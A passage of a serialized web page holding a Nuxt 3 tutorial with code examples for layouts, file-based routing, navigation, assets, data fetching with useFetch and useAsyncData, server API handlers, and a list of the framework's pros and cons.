pages\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>Home Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n> pages\u002Fabout.vue\n\u003Ctemplate>\n  \u003Cp>About Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n--- .ts ---\n> pages\u002Findex.ts\nexport default defineComponent({\n  render () {\n    return h('h1', 'Home page');\n  }\n});\n\n--- .tsx ---\nexport default defineComponent({\n  render () {\n    return \u003Ch1>Home page\u003C\u002Fh1>;\n  }\n});\n",[612,7449,7447],{"__ignoreMap":66},[565,7451,7453],{"id":7452},"layouts",[20,7454,7455],{},"Layouts",[11,7457,7458],{},"Layout plays an important role in determining the overall structure and design of the pages in your application. Layouts in Nuxt represent a reusable template that wraps around your page components and provides a consistent look and feel across multiple pages. Can create many different layouts like login layout or homepage layout or many other layouts.",[7460,7461,7462],"blockquote",{},[11,7463,7464],{},[7465,7466,7468],"i",{"style":7467},"color:red","If you only have a single layout in your application, we recommend using app.vue with the \u003CNuxtPage \u002F> component instead.",[11,7470,7471],{},"If nothing is set, Nuxt will specify default .vue as the default.",[605,7473,7476],{"className":7474,"code":7475,"language":610},[608],"> app.vue\n\u003Ctemplate>\n  \u003CNuxtLayout>\n    \u003CNuxtPage \u002F>\n  \u003C\u002FNuxtLayout>\n\u003C\u002Ftemplate>\n\n> layouts\u002Fdefault.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Ch1>This our default layout\u003C\u002Fh1>\n    \u003Cslot \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n> pages\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>Home Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[612,7477,7475],{"__ignoreMap":66},[438,7479],{"className":7480,"alt":66,"src":7481,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06175418\u002Fdefault-layout-1024x147.png",[11,7483,7484,7485,7488],{},"Now let's do something more interesting. Let's create a custom layout and display our ",[20,7486,7487],{},"\u002FAbout"," page using our customized layout.",[605,7490,7493],{"className":7491,"code":7492,"language":610},[608],"> layouts\u002Fcustom.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Ch1>This our custom layout\u003C\u002Fh1>\n    \u003Cslot \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n> pages\u002Fabout.vue\n\u003Ctemplate>\n  \u003Cp>About Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\ndefinePageMeta({\n  layout: 'custom',\n});\n\u003C\u002Fscript>\n",[612,7494,7492],{"__ignoreMap":66},[438,7496],{"className":7497,"alt":66,"src":7498,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07135628\u002Fpage-about-1024x97.png",[565,7500,7502],{"id":7501},"routing",[20,7503,7504],{},"Routing",[1693,7506,7508],{"id":7507},"dynamic-routes",[20,7509,7510],{},"Dynamic routes",[11,7512,7513],{},"Now, let's look at the different ways to create routes using routing based on Nuxt files.",[438,7515],{"className":7516,"alt":66,"src":7517,"style":7098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06181322\u002Fstructure-pages.png",[11,7519,7520,7521,7524],{},"In our example, let's look at the ",[20,7522,7523],{},"\"pages\u002F\""," directory structure. There are two different types of pages: static pages and dynamic pages whose content changes based on route parameters.",[203,7526,7527,7541],{},[34,7528,7529,7530],{},"Static page\n",[31,7531,7532,7535,7538],{},[34,7533,7534],{},"index.vue → \u002F",[34,7536,7537],{},"about.vue → \u002Fabout",[34,7539,7540],{},"category\u002Findex.vue → \u002Fcategory",[34,7542,7543,7544],{},"Dynamic page\n",[31,7545,7546,7549],{},[34,7547,7548],{},"category\u002F[slug].vue → \u002Fcategory\u002Flanguage",[34,7550,7551],{},"user-[group]\u002F[id].vue → \u002Fuser-admin\u002F123",[605,7553,7556],{"className":7554,"code":7555,"language":610},[608],"> pages\u002Fcategory\u002F[slug].vue\n\u003Ctemplate>\n  \u003Cp>Category slug : {{ $route.params.slug  }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst route = useRoute();\nuseHead({\n  title: `Category ${route.params.slug}`\n});\n\u003C\u002Fscript>\n\n",[612,7557,7555],{"__ignoreMap":66},[438,7559],{"className":7560,"alt":66,"src":7561,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06181711\u002Frouting-category-slug-1024x157.png",[605,7563,7566],{"className":7564,"code":7565,"language":610},[608],"> pages\u002Fuser-[group]\u002F[id].vue\n\u003Ctemplate>\n  \u003Cp>Group : {{ $route.params.group }} - ID : {{ $route.params.id }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst route = useRoute();\nuseHead({\n  title: `User group ${route.params.group} ID ${route.params.id}`\n});\n\u003C\u002Fscript>\n\n",[612,7567,7565],{"__ignoreMap":66},[438,7569],{"className":7570,"alt":66,"src":7571,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07154241\u002Frouting-user-group-id-1024x162.png",[1693,7573,7575],{"id":7574},"nested-routes",[20,7576,7577],{},"Nested Routes",[11,7579,7580,7581],{},"A hierarchical display page structure where a parent route has child routes or sub-routes. This is useful when you have pages that share a common layout. It is also useful when you want to organize nested routes in your application. Can display nested routes with ",[7582,7583,878],"nuxt-page",{},[438,7585],{"className":7586,"alt":66,"src":7587,"style":7098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07154348\u002Fstructure-nested-pages.png",[11,7589,7590],{},"This file tree will generate these routes:",[605,7592,7595],{"className":7593,"code":7594,"language":610},[608],"[\n  {\n    path: '\u002Fuser',\n    component: '~\u002Fpages\u002Fuser.vue',\n    name: 'user',\n    children: [\n      {\n        path: '\u002F',\n        component: '~\u002Fpages\u002Fuser\u002Findex.vue',\n        name: 'user-child'\n      },\n      {\n        path: '\u002F:id',\n        component: '~\u002Fpages\u002Fuser\u002F[id].vue',\n        name: 'user-id',\n    children: [\n       {\n         path: '\u002Fprofile',\n         component: '~\u002Fpages\u002Fuser\u002F[id]\u002Fprofile.vue',\n         name: 'user-id-profile'\n       },\n       {\n         path: '\u002Fdivision',\n         component: '~\u002Fpages\u002Fuser\u002F[id]\u002Fdivision\u002Findex.vue',\n         name: 'user-id-division',\n         children: [\n        {\n          path: '\u002F:division\u002F:divisionId',\n          component: '~\u002Fpages\u002Fuser\u002F[id]\u002Fdivision\u002F[division]\u002F[divisionId].vue',\n          name: 'user-id-division-id'\n        }\n         ]\n       },\n     ]\n      }\n    ]\n  }\n]\n\n",[612,7596,7594],{"__ignoreMap":66},[11,7598,7599],{},"Result from user route with child routes.",[605,7601,7604],{"className":7602,"code":7603,"language":610},[608],"> pages\u002Fuser.vue\n\u003Ctemplate>\n  \u003Cp>User Page\u003C\u002Fp>\n  \u003CNuxtPage \u002F>\n\u003C\u002Ftemplate>\n\n> pages\u002Fuser\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>User Child Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[612,7605,7603],{"__ignoreMap":66},[438,7607],{"className":7608,"alt":66,"src":7609,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155153\u002Frouting-nested-user-child-1024x159.png",[11,7611,7612],{},"Result from user profile route with the parameter user id.",[605,7614,7617],{"className":7615,"code":7616,"language":610},[608],"> pages\u002Fuser.vue (parent route)\n\n> pages\u002Fuser\u002F[id]\u002Fprofile\n\u003Ctemplate>\n  \u003Cp>User Profile Page - User ID : {{ $route.params.id }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[612,7618,7616],{"__ignoreMap":66},[438,7620],{"className":7621,"alt":66,"src":7622,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155428\u002Frouting-nested-user-id-profile-1-1024x162.png",[11,7624,7625],{},"Result from user division route with the parameter user id.",[605,7627,7630],{"className":7628,"code":7629,"language":610},[608],"> pages\u002Fuser.vue (parent route)\n\n> pages\u002Fuser\u002F[id]\u002Fdivision\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>User ID : {{ $route.params.id }}\u003C\u002Fp>\n  \u003Cp>User division : {{ $route.params.division }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[612,7631,7629],{"__ignoreMap":66},[438,7633],{"className":7634,"alt":66,"src":7635,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155551\u002Frouting-nested-user-id-division-1024x202.png",[11,7637,7638],{},"Result from user division route with parameter user id and division id.",[605,7640,7643],{"className":7641,"code":7642,"language":610},[608],"> pages\u002Fuser.vue (parent route)\n\n> pages\u002Fuser\u002F[id]\u002Fdivision\u002F[division]\u002F[divisionId].vue\n\u003Ctemplate>\n  \u003Cp>User ID : {{ $route.params.id }}\u003C\u002Fp>\n  \u003Cp>User division : {{ $route.params.division }} - Division ID : {{ $route.params.divisionId }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[612,7644,7642],{"__ignoreMap":66},[438,7646],{"className":7647,"alt":66,"src":7648,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155723\u002Frouting-nested-user-id-division-divisionId-1024x195.png",[565,7650,7652],{"id":7651},"navigation",[20,7653,7654],{},"Navigation",[11,7656,7657,7658],{},"It is the process of moving between different pages or routes in your application. Nuxt uses the ",[7659,7660,7661],"nuxt-link",{}," component to link pages. It will render a \u003Ca> tag with the href attribute to set the route for the page.",[605,7663,7666],{"className":7664,"code":7665,"language":610},[608],"> pages\u002Findex.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Cp>Home Page\u003C\u002Fp>\n    \u003Cnav>\n      \u003Cul>\n        \u003Cli>\u003CNuxtLink to=\"\u002Fabout\">About\u003C\u002FNuxtLink>\u003C\u002Fli>\n        \u003Cli>\u003CNuxtLink to=\"\u002Fcategory\">Category\u003C\u002FNuxtLink>\u003C\u002Fli>\n        \u003Cli>\u003CNuxtLink to=\"\u002Fuser\">User\u003C\u002FNuxtLink>\u003C\u002Fli>\n      \u003C\u002Ful>\n    \u003C\u002Fnav>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cstyle scoped>\na {\n  text-decoration: none;\n  line-height: 1.5em;\n  color: #0e0d0d;\n  font-weight: 600;\n}\n\u003C\u002Fstyle>\n",[612,7667,7665],{"__ignoreMap":66},[11,7669,7670],{},"When clicking on each link About, Category, the User will be redirected to the corresponding page.",[438,7672],{"className":7673,"alt":66,"src":7674,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155923\u002Fnavigation-1024x209.png",[11,7676,7677,7678],{},"Use ",[7659,7679,7680],{}," component with parameter Props \"to\" have 2 objects of interest:",[203,7682,7683,7686],{},[34,7684,7685],{},"name: The page name is also the corresponding route. Ex: pages\u002Fcategory\u002F[slug].vue → \u002Fcategory\u002F:slug. Name the appropriate separator between the child folders as \"-\": category-slug.",[34,7687,7688],{},"params: Parameters to pass when using dynamic routes.",[605,7690,7693],{"className":7691,"code":7692,"language":610},[608],"> pages\u002Fcategory\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>Category Page\u003C\u002Fp>\n  \u003Cnav>\n    \u003Cul v-for=\"(cate, index) in categories\" :key=\"index\">\n      \u003Cli>\n        \u003CNuxtLink :to=\"{ name: 'category-slug', params: { slug: cate } }\">\n          {{ cate }}\n        \u003C\u002FNuxtLink>\n      \u003C\u002Fli>\n    \u003C\u002Ful>\n  \u003C\u002Fnav>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst categories = ['language', 'reading', 'programming', 'art', 'other'];\n\u003C\u002Fscript>\n\n\u003Cstyle scoped>\na {\n  text-decoration: none;\n  line-height: 1.5em;\n  color: #0e0d0d;\n  font-weight: 600;\n}\n\u003C\u002Fstyle>\n",[612,7694,7692],{"__ignoreMap":66},[565,7696,7698],{"id":7697},"assets",[20,7699,7700],{},"Assets",[203,7702,7703,7709],{},[34,7704,7705,7706,7708],{},"The ",[20,7707,7131],{}," directory content is served at the server root as-is.",[34,7710,7705,7711,7713],{},[20,7712,7127],{}," directory contains by convention every asset that you want the build tool (Vite or Webpack) to process.",[11,7715,7716],{},[20,7717,7718],{},"Public directory",[11,7720,7721,7722,7725],{},"For example, referencing an image file in the ",[20,7723,7724],{},"\"public\u002Fimg\u002F\""," directory, available at the static URL \u002Fimg\u002Fnuxt.png:",[605,7727,7730],{"className":7728,"code":7729,"language":610},[608],"\u003Ctemplate>\n  \u003Cimg src=\"\u002Fimg\u002Fnuxt.png\" alt=\"Discover Nuxt 3\" \u002F>\n\u003C\u002Ftemplate>\n",[612,7731,7729],{"__ignoreMap":66},[11,7733,7734],{},[20,7735,7736],{},"Assets directory",[7460,7738,7739],{},[11,7740,7741],{},[7465,7742,7743],{"style":7467},"Nuxt won't serve files in the assets\u002F directory at a static URL like \u002Fassets\u002Fmy-file.png. If you need a static URL, use the public\u002F directory.",[11,7745,7746],{},"You can set stylesheet files (CSS, SASS, etc), fonts, or SVG. To insert global statements into your Nuxt components, you can use the Vite option in your nuxt.config file.",[11,7748,7749],{},"See the example below:",[605,7751,7754],{"className":7752,"code":7753,"language":610},[608],"> assets\u002Fcss\u002Fstyles.css\na {\n  text-decoration: none;\n  line-height: 1.5em;\n  color: #0e0d0d;\n  font-weight: 600;\n}\n\n> assets\u002Fsass\u002F_colors.scss\n$primary: #49240F;\n$secondary: #E4A79D;\n\n> assets\u002Fsass\u002Fapp.scss\n@import url(\"https:\u002F\u002Ffonts.googleapis.com\u002Fcss2?family=Nunito:ital,wght@0,200;0,300;0,400;0,600;0,700;0,800;0,900;1,200;1,300;1,400;1,600;1,700;1,800;1,900&display=swap\");\nbody {\n  font-family: 'Nunito',\n}\n.btn-bg-color {\n  background-color: $primary;\n}\n\n> nuxt.config.ts\nexport default defineNuxtConfig({\n  css: [\n    '~\u002Fassets\u002Fcss\u002Fstyles.css',\n    '~\u002Fassets\u002Fsass\u002Fapp.scss',\n  ],\n  vite: {\n    css: {\n      preprocessorOptions: {\n        scss: {\n          additionalData: '@use \"@\u002Fassets\u002Fsass\u002F_colors.scss\" as *;'\n        }\n      }\n    }\n  }\n})\n",[612,7755,7753],{"__ignoreMap":66},[565,7757,7759],{"id":7758},"components",[20,7760,7761],{},"Components",[11,7763,7705,7764,7766,7767,7769],{},[20,7765,7140],{}," directory is where you put all your Vue components which can then be imported inside your pages or other components. Nuxt automatically imports any components in your ",[20,7768,7140],{}," directory (along with components registered by any modules you may be using).",[11,7771,7772,7773],{},"In addition, Nuxt also has built-in components such as: ",[7774,7775,1014,7776],"client-only",{},[7582,7777,1014,7778],{},[7779,7780,1014,7781],"nuxt-layout",{},[7659,7782,1014,7783],{},[7784,7785,7786],"teleport",{},", etc.",[605,7788,7791],{"className":7789,"code":7790,"language":610},[608],"> components\n--| BaseHeader.vue\n--| BaseFooter.vue\n--| base\u002F\n----| html\u002F\n------| Alert.vue\n\n> layouts\u002Fdefault.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003CBaseHeader \u002F>\n    \u003CBaseHtmlAlert \u002F>\n    \u003Cslot \u002F>\n    \u003CBaseFooter \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[612,7792,7790],{"__ignoreMap":66},[565,7794,7796],{"id":7795},"composables",[20,7797,7798],{},"Composables",[11,7800,7801,7802,7805],{},"Nuxt provides several composables like useAppConfig, useAsyncData, useCookie, useError, useFetch, useHead, etc. Also, Nuxt will automatically import files inside your ",[20,7803,7804],{},"\"composables\""," directory with the auto-imports feature.",[565,7807,7809,212],{"id":7808},"plugins",[20,7810,7811],{},"Plugins",[11,7813,7814,7815,7205],{},"Nuxt automatically reads the files in your ",[20,7816,7204],{},[7460,7818,7819],{},[11,7820,7821],{},[7465,7822,7823],{"style":7467},"All plugins in your plugins\u002F directory are auto-registered, so you should not add them to your nuxt.config separately.",[565,7825,7826],{"id":7174},[20,7827,7828],{},"Modules",[11,7830,7831],{},"Nuxt provides a list of community-developed modules. Gives you many choices for application development.",[438,7833],{"className":7834,"alt":66,"src":7835,"style":7098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07160511\u002Fmodules.png",[11,7837,7838],{},"Install the necessary modules for your application and configure them in the nuxt.config.ts file.",[605,7840,7843],{"className":7841,"code":7842,"language":610},[608],"export default defineNuxtConfig({\n  modules: [\n    '@vueuse\u002Fnuxt',\n    '@element-plus\u002Fnuxt',\n    'nuxt-lodash',\n    'nuxt-security',\n  ]\n})\n",[612,7844,7842],{"__ignoreMap":66},[11,7846,7847,7848,7179],{},"For custom files, Nuxt scans the ",[20,7849,7178],{},[605,7851,7854],{"className":7852,"code":7853,"language":610},[608],"modules\u002F*\u002F*.ts\nmodules\u002F*.ts\n",[612,7855,7853],{"__ignoreMap":66},[565,7857,7859],{"id":7858},"data-fetching",[20,7860,7861],{},"Data Fetching",[11,7863,7864],{},"With Nuxt 3, there is almost full support for composables and built-in libraries to perform data-fetching from a browser or server environment including useFetch, useLazyFetch, useAsyncData, useLazyAsyncData, and $fetch.",[11,7866,7867],{},[20,7868,7869],{},"useFetch",[11,7871,7872],{},"useFetch is rendered on the server side (in Nuxt's server-side rendering mode) and is used to load data into your Nuxt application. useFetch can be used in pages, components, or plugins. Usage of useFetch is very simple as below:",[605,7874,7877],{"className":7875,"code":7876,"language":610},[608],"\u003Ctemplate>\n  \u003Cdiv>\n    Page visits: {{ count }}\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst { data: count } = await useFetch('\u002Fapi\u002Fcount');\n\u003C\u002Fscript>\n",[612,7878,7876],{"__ignoreMap":66},[11,7880,7881],{},[20,7882,7883],{},"Options:",[203,7885,7886,7889,7892,7895,7898,7901,7904,7907,7910,7913,7916,7919,7922],{},[34,7887,7888],{},"method: Request method.",[34,7890,7891],{},"query: Add queries to requests.",[34,7893,7894],{},"params: Alias to query.",[34,7896,7897],{},"body: Request body.",[34,7899,7900],{},"headers: Request headers.",[34,7902,7903],{},"baseURL: Base URL.",[34,7905,7906],{},"key: Unique value, controls how data is cached and how requests are implemented.",[34,7908,7909],{},"server: Whether to fetch the data on the server (defaults to true).",[34,7911,7912],{},"default: Set default values for the data.",[34,7914,7915],{},"pick: Extract specific properties from object data.",[34,7917,7918],{},"watch: Watch changes of some object to trigger a useFetch call.",[34,7920,7921],{},"transform: Use to transform the output.",[34,7923,7924],{},"immediate: When set to false, prevents the request from triggering useFetch immediately.",[11,7926,7927],{},[20,7928,7929],{},"Return value:",[203,7931,7932,7935,7938,7941],{},[34,7933,7934],{},"data: The data that useFetch calls from the API.",[34,7936,7937],{},"pending: The useFetch state is still called (true\u002Ffalse).",[34,7939,7940],{},"refresh\u002Fexecute: The refresh or execute function can be called outside of the useFetch used to fetch the data.",[34,7942,7943],{},"error: Object error in case the API call fails.",[11,7945,7946],{},"Here is a small example using some of the above options.",[605,7948,7951],{"className":7949,"code":7950,"language":610},[608],"const { data, pending, error, refresh } = await useFetch('https:\u002F\u002Fapi.nuxtjs.dev\u002Fmountains',{\n    pick: ['title'],\n    query: { param1, param2: 'value2' }\n})\nconst refreshData = () => refresh();\n",[612,7952,7950],{"__ignoreMap":66},[11,7954,7955,7956,7960],{},"This usage will return the title of the elements in the array returned from the URL as \"",[55,7957,7958],{"href":7958,"rel":7959},"https:\u002F\u002Fapi.nuxtjs.dev\u002Fmountains?param1=value1&param2=value2",[59],"\" and we can call useFetch again via the refreshData function.",[11,7962,7963],{},[20,7964,7965],{},"useAsyncData",[11,7967,7968],{},"With useFetch, each use passes a long URL into useFetch and if this URL is used in many places it is quite difficult to manage. Usually, we will create an API directory and write API calls to the files in it, then import them into the component or page. With this approach, useFetch cannot be used. For convenience, useAsyncData is similar to useFetch.",[605,7970,7973],{"className":7971,"code":7972,"language":610},[608],"\u003Ctemplate>\n  \u003Cdiv>\n     Page visits: {{ data }}\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n    const { data } = await useAsyncData('count', () => $fetch('\u002Fapi\u002Fcount'));\n\u003C\u002Fscript>\n",[612,7974,7972],{"__ignoreMap":66},[11,7976,7977],{},"Suppose there is a function:",[605,7979,7982],{"className":7980,"code":7981,"language":610},[608],"export const getPosts = () => axios.get('\u002Fapi\u002Fposts');\n",[612,7983,7981],{"__ignoreMap":66},[11,7985,7986],{},"To use useAsyncData, we just need to change it to:",[605,7988,7991],{"className":7989,"code":7990,"language":610},[608],"const { data } = await useAsyncData('projectSearch', () => getPosts());\n",[612,7992,7990],{"__ignoreMap":66},[11,7994,7995],{},"UseAsyncData options and return values are the same as in useFetch. There is a small note when using useAsyncData or useFetch that we remember to add keys to them and remember to clearNuxtData if we want useAsyncData or useFetch to be called again when we switch pages. For example, this:",[605,7997,8000],{"className":7998,"code":7999,"language":610},[608],"\u003Cscript setup>\n    await clearNuxtData('count');\n    const { data } = await useAsyncData('count', () => $fetch('\u002Fapi\u002Fcount'));\n\u003C\u002Fscript>\n",[612,8001,7999],{"__ignoreMap":66},[11,8003,8004],{},[20,8005,8006],{},"useLazyFetch",[11,8008,8009],{},"The spelling of useLazyFetch is similar to useFetch because it is basically useFetch with the option lazy: true. Lazy will load data asynchronously, and Nuxt will load data in parallel with the code right behind. Except for useFetch, it will be done before executing the code behind it. In addition, you can use the pending property to determine if the data has been loaded (pending = true when the data has not been loaded and opposite).",[605,8011,8014],{"className":8012,"code":8013,"language":610},[608],"\u003Ctemplate>\n  \u003Cdiv>\n     Page visits: {{ count }}\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n    const { pending, data: count } = await useLazyFetch('\u002Fapi\u002Fcount');\n\u003C\u002Fscript>\n",[612,8015,8013],{"__ignoreMap":66},[11,8017,8018],{},[20,8019,8020],{},"useLazyAsyncData",[11,8022,8023],{},"useLazyAsyncData is similar to useAsyncData but with the lazy: true option. The implementation is the same as useAsyncData:",[605,8025,8028],{"className":8026,"code":8027,"language":610},[608],"const { pending, data: post } = await useLazyAsyncData('post', () => getPosts());\n",[612,8029,8027],{"__ignoreMap":66},[11,8031,8032],{},[20,8033,8034],{},"$fetch",[11,8036,8037,8038,8043],{},"Nuxt uses ",[55,8039,8042],{"href":8040,"rel":8041},"https:\u002F\u002Fgithub.com\u002Funjs\u002Fofetch",[59],"ofetch"," for global visibility with the $fetch helper to make HTTP requests in your Vue app or API routes.",[11,8045,8046],{},"We should use useFetch or useAsyncData + $fetch to prevent double fetch when fetching component data.",[605,8048,8051],{"className":8049,"code":8050,"language":610},[608],"\u003Cscript setup>\n\u002F\u002F During SSR data is fetched twice, once on the server and once on the client.\nconst dataTwice = await $fetch('\u002Fapi\u002Fitem')\n\u002F\u002F During SSR data is fetched only on the server side and transferred to the client.\nconst { data } = await useAsyncData('item', () => $fetch('\u002Fapi\u002Fitem'))\n\u002F\u002F You can also useFetch as shortcut of useAsyncData + $fetch\nconst { data } = await useFetch('\u002Fapi\u002Fitem')\n\u003C\u002Fscript>\n",[612,8052,8050],{"__ignoreMap":66},[11,8054,8055],{},"You can use $fetch for any method executed on the client-side.",[605,8057,8060],{"className":8058,"code":8059,"language":610},[608],"\u003Ctemplate>\n  \u003Cbutton @click=\"contactForm\">Contact\u003C\u002Fbutton>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nfunction contactForm() {\n  $fetch('\u002Fapi\u002Fcontact', {\n    method: 'POST',\n    body: { hello: 'world '}\n  })\n}\n\u003C\u002Fscript>\n",[612,8061,8059],{"__ignoreMap":66},[565,8063,8065],{"id":8064},"server","Server",[11,8067,8068],{},"Nuxt automatically scans files inside these directories to register API and server handlers with HMR support: ~\u002Fserver\u002Fapi, ~\u002Fserver\u002Froutes, ~\u002Fserver\u002Fmiddleware.",[11,8070,8071],{},"Ex: create a route \u002Fapi\u002Fhello with \u002Fserver\u002Fapi\u002Fhello.ts.",[605,8073,8076],{"className":8074,"code":8075,"language":610},[608],"> server\u002Fapi\u002Fhello.ts\nexport default defineEventHandler((event) => {\n  return {\n    hello: 'world'\n  }\n})\n\n> pages\u002Fhello.vue\n\u003Ctemplate>\n  \u003Cpre>{{ data }}\u003C\u002Fpre>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n  const { data } = await useFetch('\u002Fapi\u002Fhello');\n\u003C\u002Fscript>\n",[612,8077,8075],{"__ignoreMap":66},[11,8079,8080],{},"Handle file names can be suffixed with .get, .post, .put, .delete, ... to match the request's HTTP Method.",[605,8082,8085],{"className":8083,"code":8084,"language":610},[608],"> server\u002Fapi\u002Ftest.get.ts\nexport default defineEventHandler(() => 'Test get handler')\n\n> server\u002Fapi\u002Ftest.post.ts\nexport default defineEventHandler(() => 'Test post handler')\n",[612,8086,8084],{"__ignoreMap":66},[11,8088,8089],{},"Handle request with Body:",[605,8091,8094],{"className":8092,"code":8093,"language":610},[608],"> server\u002Fapi\u002Fsubmit.post.ts\nexport default defineEventHandler(async (event) => {\n    const body = await readBody(event)\n    return { body }\n})\n",[612,8095,8093],{"__ignoreMap":66},[11,8097,8098],{},"Handle request with Query:",[605,8100,8103],{"className":8101,"code":8102,"language":610},[608],"> server\u002Fapi\u002Fsearch.ts\n\u002F\u002F Template query: \u002Fapi\u002Fsearch?param1=a&param2=b\nexport default defineEventHandler((event) => {\n  const query = getQuery(event)\n  return { a: query.param1, b: query.param2 }\n})\n",[612,8104,8102],{"__ignoreMap":66},[403,8106,3698],{"id":3697},[11,8108,8109],{},"With the new version of Nuxt, in addition to the growing Vue.js community, the strength of the core technologies has gradually attracted the user community of Vue.js in general and Nuxt in particular. This has helped provide a rich and diverse documentation resource.",[11,8111,8112],{},[20,8113,8114],{},"Advantage:",[203,8116,8117,8120,8123,8126,8129,8132,8135],{},[34,8118,8119],{},"Performance has improved.",[34,8121,8122],{},"Improve mobile application performance.",[34,8124,8125],{},"Flexible and modular architectures.",[34,8127,8128],{},"Better Typescript support, plugins, and debugging tools.",[34,8130,8131],{},"SEO optimization.",[34,8133,8134],{},"Integrates well with Vue 3.",[34,8136,8137],{},"Less complicated configuration.",[11,8139,8140],{},[20,8141,8142],{},"Disadvantage:",[203,8144,8145,8148,8151,8154,8157],{},[34,8146,8147],{},"For beginners, it is necessary to know Vue.js.",[34,8149,8150],{},"Nuxt requires its standard folder structure. This can be difficult when you need to customize the folder structure or integrate with other structured external tools and libraries.",[34,8152,8153],{},"Some Vue.js libraries and plugins may not be compatible or require additional configuration when used with Nuxt.",[34,8155,8156],{},"Nuxt is a powerful framework designed for complex applications. If you have a simple project or a single-page app, Nuxt can introduce unnecessary complexity and cost.",[34,8158,8159],{},"The community is small and growing.",[11,8161,8162],{},"Statistics between popular rendering frameworks:",[438,8164],{"className":8165,"alt":66,"src":8166,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07161448\u002Fdownload-chart-nuxt-next-1024x361.png",[11,8168,8170,8171,8178],{"className":8169},[2463,2464,2465,2466,2467],"\n  (\n  ",[55,8172,8177],{"href":8173,"className":8174},"https:\u002F\u002Fnpmtrends.com\u002F",[8175,8176],"!text-yellow-400","underline","\n   https:\u002F\u002Fnpmtrends.com\u002F\n  ","\n  )\n",[438,8180],{"className":8181,"alt":66,"src":8182,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07161729\u002Fratio-rendering-framework-1024x470.png",[11,8184,8170,8186,8178],{"className":8185},[2463,2464,2465,2466,2467],[55,8187,8190],{"href":8188,"className":8189},"https:\u002F\u002F2022.stateofjs.com\u002F",[8175,8176],"\n    https:\u002F\u002F2022.stateofjs.com\u002F\n  